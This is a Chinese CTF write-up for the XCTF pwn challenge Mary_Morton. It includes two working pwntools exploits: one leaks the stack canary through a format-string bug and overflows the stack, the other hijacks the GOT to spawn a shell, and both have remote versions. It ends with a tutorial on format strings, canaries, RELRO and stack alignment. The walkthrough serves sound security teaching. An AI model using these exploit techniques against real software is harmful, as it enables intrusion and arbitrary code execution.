XCTF-Mary_Morton双漏洞交响曲:格式化字符串漏洞泄露Canary与栈溢出劫持的完美配合
XCTF-Mary_Morton
一、题目来源
XCTF-Pwn-Mary_Morton
二、信息搜集
将题目给的二进制文件丢入Linux虚拟机中(由于文件名复杂,我以将其修改为“pwn”,后续注意辨别)
通过file命令查看文件类型:
通过checksec命令查看文件保护措施:
三、反汇编文件开始分析
1、程序逻辑分析
将题目给的二进制文件丢入64位Ida中进行反汇编操作
反汇编完成之后,我们先看到main函数
不难理解,他会先输出一些提示信息,对应代码:
mov edi, offset s ; "Welcome to the battle ! "
call _puts
mov edi, offset aGreatFairyLeve ; "[Great Fairy] level pwned "
call _puts
mov edi, offset aSelectYourWeap ; "Select your weapon "
call _puts
mov edi, offset a1StackBufferov ; "1. Stack Bufferoverflow Bug "
call _puts
mov edi, offset a2FormatStringB ; "2. Format String Bug "
call _puts
mov edi, offset a3ExitTheBattle ; "3. Exit the battle "
call _puts
然后他就会进入一个循环逻辑:
如果我们输入1,就会跳转到下述代码的位置:
mov eax, 0
call sub_400960
jmp short loc_4008D8
调用了一个sub_400960函数,可以点进去查看:
.text:0000000000400960 sub_400960 proc near ; CODE XREF: main+81↑p
.text:0000000000400960
.text:0000000000400960 buf = byte ptr -90h
.text:0000000000400960 var_8 = qword ptr -8
.text:0000000000400960
.text:0000000000400960 ; __unwind {
.text:0000000000400960 push rbp
.text:0000000000400961 mov rbp, rsp
.text:0000000000400964 sub rsp, 90h
.text:000000000040096B mov rax, fs:28h
.text:0000000000400974 mov [rbp+var_8], rax
.text:0000000000400978 xor eax, eax
.text:000000000040097A lea rdx, [rbp+buf]
.text:0000000000400981 mov eax, 0
.text:0000000000400986 mov ecx, 10h
.text:000000000040098B mov rdi, rdx
.text:000000000040098E rep stosq
.text:0000000000400991 lea rax, [rbp+buf]
.text:0000000000400998 mov edx, 100h ; nbytes
.text:000000000040099D mov rsi, rax ; buf
.text:00000000004009A0 mov edi, 0 ; fd
.text:00000000004009A5 call _read
.text:00000000004009AA lea rax, [rbp+buf]
.text:00000000004009B1 mov rsi, rax
.text:00000000004009B4 mov edi, offset format ; "-> %s\n"
.text:00000000004009B9 mov eax, 0
.text:00000000004009BE call _printf
.text:00000000004009C3 nop
.text:00000000004009C4 mov rax, [rbp+var_8]
.text:00000000004009C8 xor rax, fs:28h
.text:00000000004009D1 jz short locret_4009D8
.text:00000000004009D3 call ___stack_chk_fail
.text:00000000004009D8 ; ---------------------------------------------------------------------------
.text:00000000004009D8
.text:00000000004009D8 locret_4009D8: ; CODE XREF: sub_400960+71↑j
.text:00000000004009D8 leave
.text:00000000004009D9 retn
.text:00000000004009D9 ; } // starts at 400960
.text:00000000004009D9 sub_400960 endp
可以看到,其中调用的read函数明显会造成栈溢出(限制用户输入0x100即256B,但是返回地址离输入位置只有0x90+0x8即152B),但是通过我们之前的信息搜集,我们知道本题具有保护措施Canary(Canary found),这个我们后面再接着讲
回到main函数,如果我们输入2,就会跳转到地址loc_4008AE,然后执行下述代码:
mov eax, 0
call sub_4008EB
jmp short loc_4008D8
其调用了函数sub_4008EB,点进去查看函数逻辑
.text:00000000004008EB sub_4008EB proc near ; CODE XREF: main+8D↑p
.text:00000000004008EB
.text:00000000004008EB buf = byte ptr -90h
.text:00000000004008EB var_8 = qword ptr -8
.text:00000000004008EB
.text:00000000004008EB ; __unwind {
.text:00000000004008EB push rbp
.text:00000000004008EC mov rbp, rsp
.text:00000000004008EF sub rsp, 90h
.text:00000000004008F6 mov rax, fs:28h
.text:00000000004008FF mov [rbp+var_8], rax
.text:0000000000400903 xor eax, eax
.text:0000000000400905 lea rdx, [rbp+buf]
.text:000000000040090C mov eax, 0
.text:0000000000400911 mov ecx, 10h
.text:0000000000400916 mov rdi, rdx
.text:0000000000400919 rep stosq
.text:000000000040091C lea rax, [rbp+buf]
.text:0000000000400923 mov edx, 7Fh ; nbytes
.text:0000000000400928 mov rsi, rax ; buf
.text:000000000040092B mov edi, 0 ; fd
.text:0000000000400930 call _read
.text:0000000000400935 lea rax, [rbp+buf]
.text:000000000040093C mov rdi, rax ; format
.text:000000000040093F mov eax, 0
.text:0000000000400944 call _printf
.text:0000000000400949 nop
.text:000000000040094A mov rax, [rbp+var_8]
.text:000000000040094E xor rax, fs:28h
.text:0000000000400957 jz short locret_40095E
.text:0000000000400959 call ___stack_chk_fail
.text:000000000040095E ; ---------------------------------------------------------------------------
.text:000000000040095E
.text:000000000040095E locret_40095E: ; CODE XREF: sub_4008EB+6C↑j
.text:000000000040095E leave
.text:000000000040095F retn
.text:000000000040095F ; } // starts at 4008EB
.text:000000000040095F sub_4008EB endp
也可以明显发现,其调用的printf,由于直接讲用户输入[rbp+buf](源于read)作为printf的第一个参数,即存在格式化字符串漏洞
再返回到main函数,如果我们输入的是3,就会退出程序
2、思路汇总
目前发现了两个利用点,分别是栈溢出和格式化字符串漏洞
这两个放在一起,再结合Canary保护措施,最容易想到的思路(方法一)就是:
利用格式化字符串漏洞泄露Canary的值,然后再利用栈溢出实现绕过Canary的效果,而且我们还可以注意到.text段中有一个函数sub_4008DA,其提供了get_flag的接口
sub_4008DA proc near
; __unwind {
push rbp
mov rbp, rsp
mov edi, offset command ; "/bin/cat ./flag"
call _system
nop
pop rbp
retn
; } // starts at 4008DA
sub_4008DA endp
所以,栈溢出后的目的地址就是该函数
当然还要别的方法,因为Canary有着两种绕过思路,即操作不涉及返回地址或其值不被修改(也就是方法一)
结合我们信息搜集中得到的“Partial RELRO”,即开启部分RELocation-Read-Only
所以,我们还可以想到.got劫持(方法二)
这一部分,如果对上面提到的知识点或者绕过手段有疑惑的,可以看到下面的第五部分,自行查漏补缺
四、Poc构造
1、方法一
(1)泄露Canary的值
根据刚刚的分析,我们首先需要利用格式化字符串漏洞实现“泄露Canary的值”
我们来观察一下关键代码部分:
lea rax, [rbp+buf]
mov edx, 7Fh ; nbytes
mov rsi, rax ; buf
mov edi, 0 ; fd
call _read
lea rax, [rbp+buf]
mov rdi, rax ; format
mov eax, 0
call _printf
通过read接受我们的输入,我们要泄露地址所以输出的信息就是%p
这里不用%x的原因:
%x只打印参数的低4字节(适用于32位),如果是64位的程序,需要使用%p来泄露8B的数据
泄露的本质就是从栈上取信息(栈顶开始往栈底方向去)
但是我们是不知道Canary距离栈顶的位置的,所以我们就需要以%1$p、%2$p……这样的方式进行穷举
所以我们构造Poc
from pwn import *
p = process('./pwn')
p.sendlineafter(b"3. Exit the battle ",b'2') #格式化字符串漏洞在2中
payload = b'AAAAAAAA' #为了方便我们定位,A对应的16进制为0x41;8个的原因是为了对齐
for i in range(1,31): #1-30s = f"%{i}$p "payload += s.encode()
p.sendline(payload)
p.interactive()
这样我们就相当于实现了printf("AAAAAAAA%1$p、%2$p……")
输出结果:
AAAAAAAA0x7ffce440b890 0x7f 0x70ae251147e2 0x1999999999999999 (nil) 0x4141414141414141 0x2432252070243125 0x2520702433252070 0x7024352520702434 0x3725207024362520 0x2070243825207024 0x3031252070243925 0x7024313125207024 0x2520702432312520 0x3431252070243331 0x7024353125207024 0x2520702436312520 0x3831252070243731 0x7024393125207024 0x2520702430322520 0x32252070243132 %21.
很明显,我们输入的8个A,即0x4141414141414141,在位置6,即通过%6$p泄露出来的
好,现在我们来计算输入位置与Canary之间的差值,此时的栈结构
0x90即144B,144B-8B=136B
也就是说溢出136B就可以到达Canary的位置(还未触碰到Canary)
136/8=17,即只要在8个A的位置向上数17个栈的位置就是Canary的所在栈的位置
我们上面讲到,8个A是通过%6$p泄露的,那么6+17=23
Canary的值就是通过%23$p泄露的
注意,程序在一次完整的执行流程中Canary的值是不会变化的
但是每次执行程序,每次的Canary的值是会变化的
也就是说,我们如果要利用泄露出来的Canary,那么Poc就需要“连贯”
(2)利用泄露出来的Canary实现ret2text
接下来思路就简单了,构造的Poc如下:
from pwn import *
p = process('./pwn')
p.sendlineafter(b"3. Exit the battle ",b'2')
payload = b'AAAAAAAB' + b'%23$p' #B是为了方便定位
p.sendline(payload)
p.recvline()
p.recvuntil(b"B")
Canary = int(p.recv(18).decode().strip(),16) #见后面注意事项
print(hex(Canary))
p.sendlineafter(b"3. Exit the battle ",b'1')
payload = b'A'*136 + p64(Canary) + b'A'*8 + p64(0x4008DA+1) #+1的目的是“栈对齐”,不懂可看第五部分
p.sendline(payload)
p.interactive()
注意事项:
我们p.recv(18)获取到的值,大家可以单独去看看,是一个二进制数据
但是后续我们要作为p64()的参数传入,而p64()的参数必须是整型的
所以我们先用decode()将其转换成字符串,再通过int(str,16)转换为整型,这个16代表该字符串需要以16进制解释
strip()在这里可加可不加,用于去除末尾\n换行符的
(3)运行Poc
先尝试本地Poc(注意本地先准备一个flag文件,因为他运行的是cat ./flag)
成功获得flag
远程Poc:
from pwn import *
p = remote('223.112.5.141',54466)
p.sendlineafter(b"3. Exit the battle ",b'2')
payload = b'AAAAAAAB' + b'%23$p' #B是为了方便定位
p.sendline(payload)
p.recvline()
p.recvuntil(b"B")
Canary = int(p.recv(18).decode().strip(),16) #见后面注意事项
print(hex(Canary))
p.sendlineafter(b"3. Exit the battle ",b'1')
payload = b'A'*136 + p64(Canary) + b'A'*8 + p64(0x4008DA+1) #+1的目的是“栈对齐”,不懂可看第五部分
p.sendline(payload)
p.interactive()
成功拿下flag
2、方法二
(1)思路的回顾与深入
我们再来理一遍思路:
利用格式化字符串漏洞修改某函数的.got.plt(我们这里选择printf)所指向的真实地址信息,改为system函数(或者使用刚刚提到的get_flag接口函数也可以)
我们通过Ida就可以找到我们要的信息:
printf@got = 0x601030
system@plt = 0x4006A0
(2)位置信息的确认
同样,在劫持之前,我们需要知道我们写入的信息在栈中的位置信息
构造Poc:
from pwn import *
p = process("./pwn")
printf_got = 0x601030
p.sendlineafter(b"3. Exit the battle ",b'2')
payload = b'%8$p' + b'A'*12 + p64(printf_got) #看下面的解释
p.sendline(payload)
p.interactive()
这里为什么需要构造b'%8$p' + b'A'*12
这部分信息呢?
首先,b'%8$p'
好理解,用于泄露信息,方便我们确定p64(printf_got)在栈的位置
8不是一开始就知道的,是要自己试出来的(1、2、……、8)
直到出现0x601030就达成目的了,最终结果就是8,大家可以自己尝试
那为什么还需要12字节的冗余数据呢?
这是因为我们要跟后续场景保持一致,我们如果要将system@plt的地址即0x4006A0通过%n写入printf@got,就需要在用到%n之前就完成了0x4006A0(4196000)字节的输出,所以我们需要用到%c来实现这一过程
格式化字符串%c的作用就是输出一个字符
那么%100c就是输出100个字符
所以我们后续的payload应该如下:
payload = b'%4195999cA%8$lln' + p64(printf_got)
三个细节点:
其一:中间加了一个“A”是为了对齐,这样前面部分(%4195999cA%8$lln)就刚好16B
其二:4196000变成了4195999,这是因为“A”也会输出也会占一个输出字节,所以前面的输出要少一个
其三:%8$lln,多了两个l,这表示long long类型,说明写入的长度为8B
这也就解释了为什么上面的payload要写成b'%8$p' + b'A'*12 + p64(printf_got)
这样了
(3).got劫持并完成getshell
接下来我们就根据思路一步步构造Poc就好了,Poc如下:
from pwn import *
p = process("./pwn")
# 地址信息(在Ida中可以找到)
printf_got = 0x601030
system_plt = 0x4006A0
payload = b'%4195999cA%8$lln' + p64(printf_got) #上面已讲
# Step 1: 发送格式化字符串覆盖printf@got → system@plt
p.sendlineafter(b"3. Exit the battle ",b'2')
p.sendline(payload)
# Step 2: 再次调用printf("/bin/sh"),变成system("/bin/sh")
p.sendlineafter(b"3. Exit the battle ",b'2')
p.sendline(b'/bin/sh\x00') #注意需要有结束符号\x00
p.interactive()
(4)运行Poc
先尝试本地Poc
运行:
成功拿下本地shell
远程Poc:
from pwn import *
p = remote("61.147.171.105",56734)
# 地址信息(来自程序符号表)
printf_got = 0x601030
system_plt = 0x4006A0
payload = b'%4195999cA%8$lln' + p64(printf_got)
# Step 1: 发送格式化字符串覆盖 printf@got → system@plt
p.sendlineafter(b"3. Exit the battle ",b'2')
p.sendline(payload)
# Step 2: 再次调用 printf("/bin/sh"),变成 system("/bin/sh")
p.sendlineafter(b"3. Exit the battle ",b'2')
p.sendline(b'/bin/sh\x00')
p.interactive()
运行:
成功拿下Flag
五、本题相关知识点
1、格式化字符串漏洞
(1)什么是格式化字符串漏洞?
格式化字符串漏洞(Format String Vulnerability)是指:程序在调用格式化输出函数时,没有使用固定格式字符串,而是直接使用用户输入作为格式化模板,导致攻击者可以控制格式化行为,从而实现信息泄露或任意地址读写
(2)常见的格式化函数
在C/C++中,常见的格式化函数包括:
函数 | 说明 |
---|---|
printf() | 向标准输出打印格式化内容 |
fprintf() | 向指定文件流输出 |
sprintf() | 输出到字符串 |
snprintf() | 输出到字符串,带长度限制 |
(3)正常使用 vs 漏洞使用
正确用法:
char name[100];
scanf("%s", name);
printf("Hello, %s\n", name); // 使用固定格式字符串
错误用法(漏洞):
char name[100];
scanf("%s", name);
printf(name); // 直接使用用户输入作为格式串
攻击者可以输入:
%x %x %x %x
程序会误以为你在栈上提供了四个参数(实则并没有),因此会从当前函数的栈帧中连续取出4个4 字节/8字节值并打印
值得注意的是:
在64位程序中,函数的前六个参数是通过寄存器传的,只有到第七个参数之后才是通过栈来传
所以,在64位的程序之中,如果要泄露栈信息等操作的化,需要定位到第7个参数及其之后,比如%7$x
(4)格式控制符及其作用(攻击核心)
格式符 | 含义 | 危险性 |
---|---|---|
%x | 输出一个4字节十六进制值(从栈上读) | 信息泄露 |
%s | 把栈上的值当作地址,输出该地址处的字符串 | 任意地址读 |
%p | 输出一个指针地址 | 地址泄露 |
%n | 将当前输出的字符数写入到栈上的地址 | 任意地址写(极危险) |
高阶用法:
%7$x表示取第七个参数(参数编号从1开始),打印为十六进制值
简单来说就是对第七个参数做%x的操作
%7$s表示取第七个参数,把其当成地址,输出该地址处的字符串
以此类推……
当然,我们也会常见到类似于%7$sAAAA的写法,在后面加上AAAA的目的是为了“对齐”
在64位的程序中,%7$s只是占据了4B,而地址能存放8B数据,因此添加上AAAA能够完成“对齐”操作,使得后续payload不会与之粘连导致运行失败
(5)%n
格式化字符串漏洞(Format String Vulnerability)中,%n是最具有攻击性的格式化指令之一
%n会把当前已经输出的字符数写入到对应的参数指向的地址中
举个例子:
int a;
printf("Hello%nWorld", &a);
程序先打印"Hello",此时输出了5个字符
%n就会把数字5写入变量a中
接着打印"World"
最终:a == 5
常见的利用手法
在存在格式化字符串漏洞的程序中:
printf(user_input); // 危险写法:未加格式控制
攻击者可以构造如下输入:
AAAA%n
程序执行后:
AAAA被打印
%n会尝试将输出字符数(4)写入到一个内存地址中
但是没有为%n提供有效的地址参数,就会从栈中取值当作指针地址
如果攻击者控制了这个地址,就能将任意值写入任意地址,这就造成了一个典型的漏洞,即“任意地址写任意值(write-what-where)”
还常常与格式化字符串%c进行联动,%c的作用就是输出一个字符
那么%100c就是输出100个字符
%n还会有写入长度的限制,不同的写入长度需要有不同的写法
格式符号 | 写入字节数 | C 中对应类型 |
---|---|---|
%n | 4 字节 | int * (默认) |
%hn | 2 字节 | short * |
%hhn | 1 字节 | char * |
%ln / %lln | 8 字节 | long * / long long * (64 位系统常用) |
(6)%x
在正常情况下,%x会将栈中的一个参数当作无符号整数,并以十六进制格式输出
注意%x只打印参数的低4字节(适用于32位)
如果是64位的程序,推荐使用%p
举个例子(正常使用):
#include <stdio.h>
int main() {int a = 1234;printf("%x\n", a); // 输出:4d2(即十六进制的1234)return 0;
}
非正常使用的情况,比如程序中有下述代码:
char buf[100];
scanf("%s", buf);
printf(buf); // 错误的用法,未指定格式符,导致攻击者可以控制格式字符串
攻击者可以输入任意格式字符串,比如:
输入:AAAA %x %x %x %x
程序就会变成:
printf("AAAA %x %x %x %x");
此时%x的作用是:
程序会误以为你准备好了四个参数(实则并没有),因此会从当前函数的栈帧中连续取出4个4字节/8字节值并打印他们的十六进制值
(7)%p
和%x类似,但是它是将栈顶中的数据当成一个地址进行输出(0x开头),即输出的是一个64位的指针,适合64位的cheng'xu
(8)%s
在格式化字符串漏洞中,%s是最强大但也最危险的格式化符之一
在正常的printf("%s", ptr);中,%s会将ptr指向的地址上的字符串内容打印出来,直到遇到\x00 为止
举例:
char *str = "hello";
printf("%s", str); // 输出:hello
在格式化字符串漏洞中%s的行为
当用户能够控制printf()的格式字符串,并且格式字符串中包含%s时,程序会从栈上读取一个值把它当作char*类型的指针,然后去读取该指针指向地址中的内容,直到读到\x00为止!
但是%s有两个重大风险
第一个:指针非法会崩溃
如果%s读取了非法地址(未映射的内存),程序会立刻Segmentation fault
第二个:没有长度的限制
一旦你用%s打印一段没有\x00的数据(如/etc/shadow内存拷贝),可能引发超长输出或程序卡死
(9)是第几个参数?
在格式化字符串漏洞中,如果我们要实现精确读取/写入,就需要知道自己构造的参数所在的位置
可是问题出现了:
我们传入payload一般通过的是类似于scanf/read等输入类的函数,但是输出他们的即造成格式化字符串漏洞的地方却是在格式化函数的位置
这也就意味着执行到格式化函数的时候,栈中可能已经压入了很多的无关数据
而且输入类的函数会把我们的payload放到栈中指定的地方,可能并非栈顶
我们的payload位于第几个参数就难从静态分析中直接判断出来
所以,判断我们payload位于第几个参数,我们可以采取下述方法
利用%x可以以十六进制的方式输出栈中的信息
那么我们只需要构造类似于:
%1$x %2$x %3$x %4$x %5$x %6$x %7$x %8$x %9$x %10$x
这样的数据,逐一排查每个位置上的信息,查看是否有我们payload的身影
2、Canary保护机制以及绕过核心
(1)Canary是什么?
Canary(金丝雀),也称为栈溢出保护机制(Stack Smashing Protector, SSP),是编译器在函数调用时在局部变量与返回地址之间插入的“监控值”
这个值在函数执行过程中不应被改变,一旦被篡改,程序就会立刻终止,从而阻止攻击者劫持程序流程
这样的机制也就说明Canary只能阻止直接覆盖返回地址的攻击
拓展:名称“Canary”来自矿井里的金丝雀——矿工曾用金丝雀来探测毒气,鸟死了就说明危险来了
(2)绕过Canary的方式
根据Canary的保护原理,相应的就会有两种绕过方案
方案一:
采用的攻击手段不会去覆盖返回地址,那么自然就不会被Canary限制
方案二:
想办法得到Canary的值,专业的说法就是“Canary泄露”
因为Canary之所以能保护返回地址不被修改,是因为在返回地址之前会先经过Canary,如果Canary的信息被修改(即和原始的值不一样),就会直接让程序终止
因此,如果我们能准确知道Canary中的信息,那么就可以精准构造payload进行覆盖,就可以绕过限制
3、RELRO以及.got劫持
(1)什么是RELRO?
RELRO = RELocation Read-Only
它是编译器在ELF文件中加入的一种机制,目的是:
限制关键重定位段(尤其是.got表)在运行时的可写性,提高安全性,防止函数指针被修改
(2)RELRO的三种模式对比
类型 | 说明 | 实际效果 |
---|---|---|
No RELRO | 没有保护,可以直接写.got表 | 最不安全 |
Partial RELRO(默认模式) | .got部分段保护,可以写入.got.plt | 中等保护 |
Full RELRO | 启动时解析所有符号,.got表设为只读 | 最安全 |
.got和.got.plt不要混淆了
.got.plt是.got的一部分,用于跳转到解析器(懒绑定解析器,用于第一次函数被调用的时候,解析器会找到函数真实地址,后续.got.plt就会跳转到该真实地址)或者函数真实地址
而.got内容就会丰富点,包含.got.plt,还会保存全局变量、静态对象、C++ 虚表等地址
(3).got劫持
与该保护机制最相关的就是.got劫持
那么,什么是.got劫持?
利用任意地址写漏洞(如格式化字符串、堆溢出等),将.got表中的某个函数地址改写为我们控制的地址,从而实现函数劫持或执行任意代码
4、栈对齐
(1)知识点讲解
栈对齐是指在函数调用或执行期间,保持栈顶(RSP
寄存器)满足特定字节对齐要求的一种约定
现代处理器(尤其是x86_64架构)在访问内存时,如果内存地址是16字节对齐(即地址能被16整除),会提升
性能;而且 某些指令(如SSE、AVX)对对齐是强制要求,否则会触发段错误(SIGSEGV
)
(2)对齐规则(以x86_64为例)
根据System V AMD64 ABI(一种规范)规定:
不要求在函数执行期间始终保持
RSP % 16 == 0
但是在“函数入口处”栈顶必须是16字节对齐的(
RSP % 16 == 0
)换言之,在调用(call)函数之前,需要先调整到
RSP % 16 == 8
的状态
啥是函数入口(汇编代码的角度)?
就是该函数第一条指令所在的地址(还未执行第一条指令)
先来简单回顾一下函数调用的过程(汇编代码的角度):
调用者会用CALL指令调用被调函数
这一步CPU会自动将“返回地址”压入栈中
然后被调函数在正式开始执行之前会进行保存调用者的“上下文”和“初始化栈帧”的操作
好,结合上述过程描述,我们来理解一下栈对齐规则
根据ABI的规定,调用者在调用函数之前需要满足RSP % 16 == 8
如果调用者开始调用函数了,即使用call指令
那么,此时CPU会自动压入“返回地址”,RSP也就相应的减去了8字节(因为在64位的计算机)
那么此时满足RSP % 16 == 0
此时就满足了:
函数入口处,栈顶必须是16字节对齐的(
RSP % 16 == 0
)
(3)没有对齐,会怎样?
首先,上面也讲到了,“栈对齐”只是一种规定,是为了兼容、稳定和性能设计的标准
所以,你如果没有遵守,程序也不一定会出现问题
但是,程序一旦满足以下任意情况,未对齐就会报错或崩溃:
情况 | 原因 | 结果 |
---|---|---|
使用movaps、movdqa 等SSE指令 | 这些指令要求内存地址必须16字节对齐,否则CPU报错 | 程序触发SIGSEGV崩溃 |
glibc内部函数有对栈对齐的assert检查 | glibc某些函数运行前会检查RSP%16==0,不满足就触发断言 | 程序触发abort()强制退出 |
编译器开启对齐优化(如-O2 或以上) | 编译器可能默认结构体/栈局部变量需要16字节对齐,未对齐时行为不确定 | 程序出现未定义行为(UB),可能崩溃 |
上面都是在64位系统的前提下的,那么32位系统(x86)呢?
会有栈对齐的情况,但没有强制要求(没有像ABI一样的规定)
在32位系统中,一般保持4字节对齐,但只是是“推荐”,不是必须,绝大多数情况下即使未对齐也不会崩溃
但是也有特殊情况,比如:
如果编译开启了
-msse
,比如用到了__m128
、movaps
,那就会要求16字节对齐如果你不手动对齐
ESP
,用movaps
等就可能崩溃(虽然是32 位)
(4)常见的绕过方法
方法一:+1
方法二:调用ret指令